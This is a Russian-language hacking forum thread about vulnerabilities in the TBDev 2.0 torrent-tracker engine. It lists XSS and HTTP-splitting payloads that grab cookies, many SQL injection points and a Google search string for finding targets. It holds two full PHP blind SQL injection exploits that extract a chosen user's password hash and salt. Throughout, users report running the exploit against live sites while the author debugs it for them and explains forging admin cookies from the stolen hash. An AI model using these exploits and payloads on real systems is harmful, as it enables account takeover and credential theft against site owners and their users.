Баги искал на, TBDev 2.0 Yuna Scatari Edition, подозреваю что в других редакциях они так-же работают: Раскрытие пути, если не залогинен: Code: confirm.php?id[]= themes/TBDev/stdfoot.php themes/TBDev/stdhead.php themes/Gray/stdhead.php delete.php captcha.php если залогинен: Code: thanks.php votesview.php takeedit.php comment.php?action=quote&cid[]= XSS Code: http://site/offcomment.php?action=<script>alert(/XSS/)</script> XSS в POST-запросе: Code: <form action="http://site/getrss.php" method="POST"> <input type="text" name="cat[1]" value="<script>alert(/XSS/)</script>"> <input type="submit"> </form> HTTP Splitting (требуются права модератора) Code: <form action="http://site/comment.php?action=edit&cid=[B]ID_комментария[/B]" method="POST"> <input type="text" name="returnto" value="%0d%0a%0d%0a<script>alert(document.cookie)</script>"> <input type="text" name="text" value="any_text"> <input type="submit"> </form> Вместо "ID_комментария" надо подставить id реально существующего комментария. Так же эта бага позволяет отредиректить модератора на любой домен (проверки на то что адрес назначения находится на том-же домене, нет). Ищется в гугле, как: "Powered by TBDev v2.0" В общем, всё что нашёл сегодня, багов на порядок больше, но искал не оч. глубоко.
HTTP Splitting (простого пользователя достаточно): Code: <form action="http://site/message.php?action=takemessage" method="POST"> <input type="text" name="receiver" value="1"> <input type="text" name="origmsg" value="1"> <input type="text" name="returnto" value="%0d%0a%0d%0a<script>alert(document.cookie)</script>"> <input type="text" name="msg" value="msg"> <input type="text" name="subject" value="subject"> <input type="submit"> </form> XSS в POST запросе (требуются права модератора): Code: <form action="http://site/message.php?action=mass_pm" method="POST"> <input type="text" name="n_pms" value="<script>alert(/XSS1/)</script>"> <input type="text" name="pmees" value="<script>alert(/XSS2/)</script>"> <input type="submit"> </form> Там же, XSS в Referer(требуются права модератора) Code: Referer: ><script>alert(/Hi/)</script> SQL Inj(требуются права модератора) Code: <form action="http://site/nowarn.php" method="POST"> <input type="text" name="nowarned" value="nowarned"> <input type="text" name="usernw[]" value="SQL"> <input type="submit"> </form> Запрос: SELECT modcomment FROM users WHERE id IN (SQL) Blind SQL Inj(требуются права модератора) Code: <form action="http://site/nowarn.php" method="POST"> <input type="text" name="nowarned" value="nowarned"> <input type="text" name="usernw[]" value="1"> <input type="text" name="desact[]" value="SQL"> <input type="submit"> </form> Запрос: UPDATE users SET enabled='no' WHERE id IN (SQL)
SQL Inj Code: http://site/requests.php?action=reset&requestid=sql' Запрос: SELECT userid, filledby FROM requests WHERE id =sql' SQL Inj Code: http://site/requests.php?action=reset&requestid=sql' Запрос: SELECT userid, filledby FROM requests WHERE id =sql' SQL Inj: POST: Code: http://site/requests.php action=edit&category=1&id=SQL Запрос: UPDATE requests SET cat=1, request='', descr='' WHERE id=SQL Blind SQL Inj: POST: Code: http://site/offers.php action=edit&id=SQL Запрос: UPDATE offers SET category='', name='', descr='' WHERE id=SQL SQL Inj (требуются права модератора): POST: Code: http://site/offers.php deloffer=SQL Запрос: DELETE FROM offers WHERE id = SQL XSS Code: http://site/viewrequests.php?category=><script>alert(/XSS/)</script> XSS(требуются права модератора) Code: http://site/staffmess.php?returnto=><script>alert(/XSS/)</script> XSS in Referer: Code: http://site/offcomment.php?action=edit&cid=3 Referer: ><script>alert(/XSS/)</script> Code: http://site/offcomment.php?action=vieworiginal&cid=3 Referer: ""><script>alert(/XSS/)</script> HTTP Splitting (требуются права модератора): Code: http://site/offcomment.php?action=delete&cid=1&sure=1&returnto=<script>alert(document.cookie)</script> POST: Code: http://site/offcomment.php?action=edit&cid=3 msg=msg&returnto=value З.Ы. Сори за неупорядоченность, постил по мере нахождения. Кстати, теперь по Powered by TBDev на второй строчке гугла находится античат
TBDev v2.0 Blind SQL Injection Exploit Code: http://site/requests.php?action=reset&requestid=sql' Иньекция оказалось слепой, но с выводом ошибки поэтому использовал следующий запрос: Code: /requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+users+where+id=1),1,1))=[B][CHARCODE][/B],'1',(select+1+union+select+2))+--+ Для запуска требуется логин/пароль любого зарегистрированного пользователя, кукисы сплоит запросит самостоятельно. Результат работы - hash, salt. hash закодирован как: md5($salt.$pass.$salt); Запускать так: Code: tbdev2sql.php url target_id login password Например tbdev2sql.php http://www.site.com/ 1 Vasya Pupkin Собственно код: Code: <? //TBDev2 Blind SQL Injection Exploit by Qwazar //Greets: +toxa+ & antichat.ru set_time_limit(0); ignore_user_abort(1); function getcookie($url, $name, $password){ $res = send_xpl($url,"takelogin.php?username=$name&password=$password"); preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches); $uid=$matches[1]; preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches); $passhash=$matches[1]; $res = "uid=$uid; pass=$passhash;"; if(isset($uid)&&isset($passhash)) return $res; else return -1; } function send_xpl($url, $xpl){ global $id; global $cookie; $u=parse_url($url); $req ="GET ".$u['path']."$xpl HTTP/1.1\r\n"; $req.="Host: ".$u['host']."\r\n"; $req.="Cookie: $cookie\r\n"; $req.="Connection: Close\r\n\r\n"; $fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n"); fwrite($fs, $req); while (!feof($fs)) { $res .= fread($fs, 8192); } fclose($fs); return $res; } function xpl($field ,$condition, $pos){ global $id; $xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+users+where+id=$id),$pos,1))$condition,'1',(select+1+union+select+2))+--+"; return $xpl; } if($argc<4) { echo "==================\r\n"; echo "Using tbdev2sql.php url target_id login password\r\n target_id - id of target member\r\n login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2sql.php http://www.site.com/ 1 Alex Password\r\n"; echo "==================\r\n"; die(); } $url=$argv[1]; $id=$argv[2]; $name=$argv[3]; $password=$argv[4]; echo $url.":".$name.":".$password."\r\n"; echo "Trying to get your cookies... "; $cookie = getcookie($url, $name, $password); if($cookie!=-1) echo "[DONE]\r\n"; else die("Can't get cookies.. Pass incorrect?\r\n"); echo "Trying to get passhash: "; //get md5 pass for($i=1;$i<=32;$i++){ $flag = 0; for($j=48;$j<=57;$j++){ if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; } else {if($j!=48) {echo chr(8);} echo chr($j);} } if($flag!=1) { for($j=97;$j<=102;$j++){ if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; } else {echo chr(8).chr($j);} } } if (!$flag) die("\r\nExploit failed\r\n"); } echo " [DONE]\r\n"; echo "Trying to get salt: "; //get secret (20 characters 1-9a-Z) for($i=1;$i<=20;$i++){ $flag = 0; for($j=49;$j<=57;$j++){ if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); if($j!=49) {echo chr(8);} echo chr($j); $flag=1; break; } else {if($j!=49) {echo chr(8);} echo chr($j);} } if($flag!=1) { for($j=65;$j<=90;$j++){ if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; } else {echo chr(8).chr($j);} } } if($flag!=1) { for($j=97;$j<=122;$j++){ if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; } else {echo chr(8).chr($j);} } } if (!$flag) die("\r\nExploit failed\r\n"); } echo " [DONE]\r\n"; ?> Скачать можно тут: скачать файл
/requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+users+where+id=1),1,1))=[CHARCODE],'1',(select+1+union+select+2))+--+ SQL ругается.. но иньекция не проходит. в чаркод что писать?.. кодировку базы? о_0 tbdev2sql.php url target_id login password За скрипт спасибо, залил на хост юзаю.. и апач говорит тут же, что не найден этот файл.. ммм. может я не так что-то делаю? ++
Чаркод - код символа, если символ находится на данной позиции, то ошибке не будет, если не находится - выдаст ошибку "Subquery returns" чтото там. Для passhash это числа от 48 до 57 включительно (0-9) и от 97 до 102 включительно (a-f). Позиция проверяемого символа задаётся в этом кусочке запроса: Code: (select+passhash+from+u sers+where+id=1),[B][POS][/B],1) Вместо [POS], для passhash подставляй цифры от 1 до 32. Если хочешь получить соль, то вместо "passhash" подставь "secret" и диапазоны pos - 1-20, charcode - 49-57,65-90,97-122 (включительно). Соль - 20 символов [1-9,a-Z] UPD: Блин, неправильно тебя понял. В общем его надо запускать из командной строки! А не из браузера. P.S. А вообще посмотри сплоит, код очень прост для понимания.
Ещё XSS, требуются права модератора: Code: http://site/stats.php?uporder="><script>alert(/XSS/)</script> http://site/usersearch.php?r="><script>alert(/XSS/)</script> Для usersearch.php уязвимы параметры r,n,co,dl2,ls2,ul2,ls,d,em,ul,r2,dl,ma,ip,d2
Qwazar, а как подставить куки в эксплоит.. я юзаю его на VDS. У себя дома с поддержкой CLI запустить не вышло.. зато на VDS по ssh пошло, как по маслу.. как подменить куки? +++
Ну вообще он при запуске требует логин/пароль и сам запрашивает куки. Но если очень хочется, можешь эту строку Code: $cookie = getcookie($url, $name, $password); заменить на Code: $cookie = "[B]А СЮДА ВСЁ ЧТО ХОЧЕШЬ[/B]"
Запустил.. Code: Trying to get your cookies... [DONE] Trying to get passhash: b51f02706ed3113b1b533f4f16282747 [DONE] Trying to get salt: lz Exploit failed соль не подбирает.. значит дырку прикрыли? может существуют методы?
Нет, дырку не прикрыли, видимо просто на 3м символе соли сервер перестал отвечать. Тут есть 2 варианта: 1) Переписать сплоит так, чтобы использовался бинарный поиск (так уменьшится количество запросов) 2) Удалить всё между Code: echo "Trying to get passhash: "; и Code: echo "Trying to get salt: "; и подбирать только соль, так же можно в оставшемся цикле подкручивать начальное значение $i, в твоём случае можно поставить $i=2 , т.к. первый символ соли ты подобрал.
Qwazar, я удалял цикл получения хеша.. толку мало, все равно lz и дальше не идет..( z - не успел перебрать.. только один символ значит. ) Пробовал менять значение $i= на 2-ю букву.. 3-ю... и т.д. в обоих случаях получаю : Code: 1) Переписать сплоит так, чтобы использовался бинарный поиск (так уменьшится количество запросов) как? ++++
Хмм.. Возможно у тебя чуть другая версия TBDev, тогда может у тебя соль не [1-9,a-Z], а [0-9,a-Z]. Попробуй в том цикле, где ищется соль, поменять Code: for($j=49;$j<=57;$j++){ на Code: for($j=48;$j<=57;$j++){ .
Попробовал.. как результат: И на другой ID атака.. : Версия 2.0 вроде ) хеш же тащит..как вытащить соль?)) все-таки с солью что-то не то.. как я поменял алгоритм ( с нуля поиск ) то теперь в соли первые нули.. а тогда, когда эксплоитил без изменений - соль была слегка другой ( первый символ )
Замени кусок с солью, на: Code: echo "Trying to get salt: "; //get secret (20 characters 1-9a-Z) for($i=1;$i<=20;$i++){ $flag = 0; for($j=48;$j<=57;$j++){ if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; } else {if($j!=48) {echo chr(8);} echo chr($j);} } if($flag!=1) { for($j=65;$j<=90;$j++){ if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; } else {echo chr(8).chr($j);} } } if($flag!=1) { for($j=97;$j<=122;$j++){ if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; } else {echo chr(8).chr($j);} } } if (!$flag) die("\r\nExploit failed\r\n"); } echo " [DONE]\r\n"; Если и это не поможет, поиграй с диапазонами во внутренних циклах, возможно в соли встречаются какието другие символы, ещё возможно то что она короче. Хз почему так, может какой мод установлен. На родном TBDev2 всё пашет на ура. Подробнее - нет, т.к. считаю это неправильным. Если ты встречался с перлом, то проблем php у тебя не вызовет. Почитай статьи, покопайся для начала сам.
Прошу прощения за то что долго не отвечал Новая версия сплоента, использует бинарный поиск (что делает его предпочтительнее прошлого варианта ввиду логарифмической сложности поиска, а значит и меньшем количестве запросов к серверу, во время атаки), так-же перед атакой проверяет уязвима ли цель. Поиск по соли идёт теперь в диапазоне от 0 до 255, т.к. есть данные, что соль в разных версиях (или с какими нибудь модами) генерится по разному. Code: <? //TBDev2 Blind SQL Injection Exploit by Qwazar //Greets: +toxa+ & antichat.ru set_time_limit(0); ignore_user_abort(1); Error_Reporting(E_ALL & ~E_NOTICE); function getcookie($url, $name, $password){ $res = send_xpl($url,"takelogin.php?username=$name&password=$password"); preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches); $uid=$matches[1]; preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches); $passhash=$matches[1]; $res = "uid=$uid; pass=$passhash;"; if(isset($uid)&&isset($passhash)) return $res; else return -1; } function send_xpl($url, $xpl){ global $id; global $cookie; $u=parse_url($url); $req ="GET ".$u['path']."$xpl HTTP/1.1\r\n"; $req.="Host: ".$u['host']."\r\n"; $req.="Cookie: $cookie\r\n"; $req.="Connection: Close\r\n\r\n"; $fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n"); fwrite($fs, $req); while (!feof($fs)) { $res .= fread($fs, 8192); } fclose($fs); return $res; } function xpl($field, $condition, $pos){ global $id; $xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+users+where+id=$id),$pos,1))$condition,'1',(select+1+union+select+2))+--+"; return $xpl; } function cond($url, $field, $cond, $pos, $ch) { if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos)))) return 1; else return 0; } function isVulnerable($url) { if(preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1)))) return 1; else return 2; } function getChar($url, $field, $pos, $lb=0, $ub=255) { while(true) { $M = floor($lb + ($ub-$lb)/2); if(cond($url, $field, '<', $pos, $M)==1) { $ub = $M - 1; } else if(cond($url, $field, '>', $pos, $M)==1) { $lb = $M + 1; } else return chr($M); if($lb > $ub) return -1; } } if($argc<4) { echo "==================\r\n"; echo "Using tbdev2sql.php url target_id login password\r\n target_id - id of target member\r\n login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1 Alex Password\r\n"; echo "==================\r\n"; die(); } $url=$argv[1]; $id=$argv[2]; $name=$argv[3]; $password=$argv[4]; echo $url.":".$name.":".$password."\r\n"; echo "Trying to get your cookies... "; $cookie = getcookie($url, $name, $password); if($cookie!=-1) echo "[DONE]\r\n"; else die("Can't get cookies.. Pass incorrect?\r\n"); if(!isVulnerable($url)) die("Exploit failed: Target is not vulnerable"); echo "Trying to get passhash: "; for($i=1;$i<=32;$i++){ $c = getChar($url, "passhash", $i, 47, 103); if($c==-1) die("\r\nExploit failed\r\n"); else echo $c; } echo " [DONE]\r\n"; echo "Trying to get salt: "; for($i=1;$i<=20;$i++){ $c = getChar($url, "secret", $i); if($c==-1) die("\r\nExploit failed\r\n"); else echo $c; } echo " [DONE]\r\n"; ?> Скачать можно тут: http://www.x2b.ru/get/3447 Как защититься, читаем тут: https://forum.antichat.ru/thread30641.html Не забыть и про остальные файлы кроме requests.php, двиг дырявый, я вполне мог чтото и просмотреть. З.Ы. Да и вообще хозяйке на заметку - бинарный поиск вечно рулит, незачем писать перебор в лоб и слать по 16 запросов, на каждый символ, особенно критично если сплоент на бенчмарке.
А что не так с солью? Как я уже писал: Результат работы - hash, salt. hash закодирован как: md5($salt.$pass.$salt); Соль - 20 символов.
Непойму строение кукисов Что первое mybbuser=3306_iIXAPC6fB3d7CqTrVbEg5kpw7Lt3aMCIv2JG8HLAep9GAtyWu6 Объясни что сюда нужно править т.к. я в pass - правил добытый експлоитом хэш а в uid поставил 1 (типо админа) Но что в первом я непонял
У меня: Жирным выделил то, что нужно поменять на passhash + не забудь uid сменить на 1. НА mybb* - забей, это для форума, сплоит эти поля не достаёт.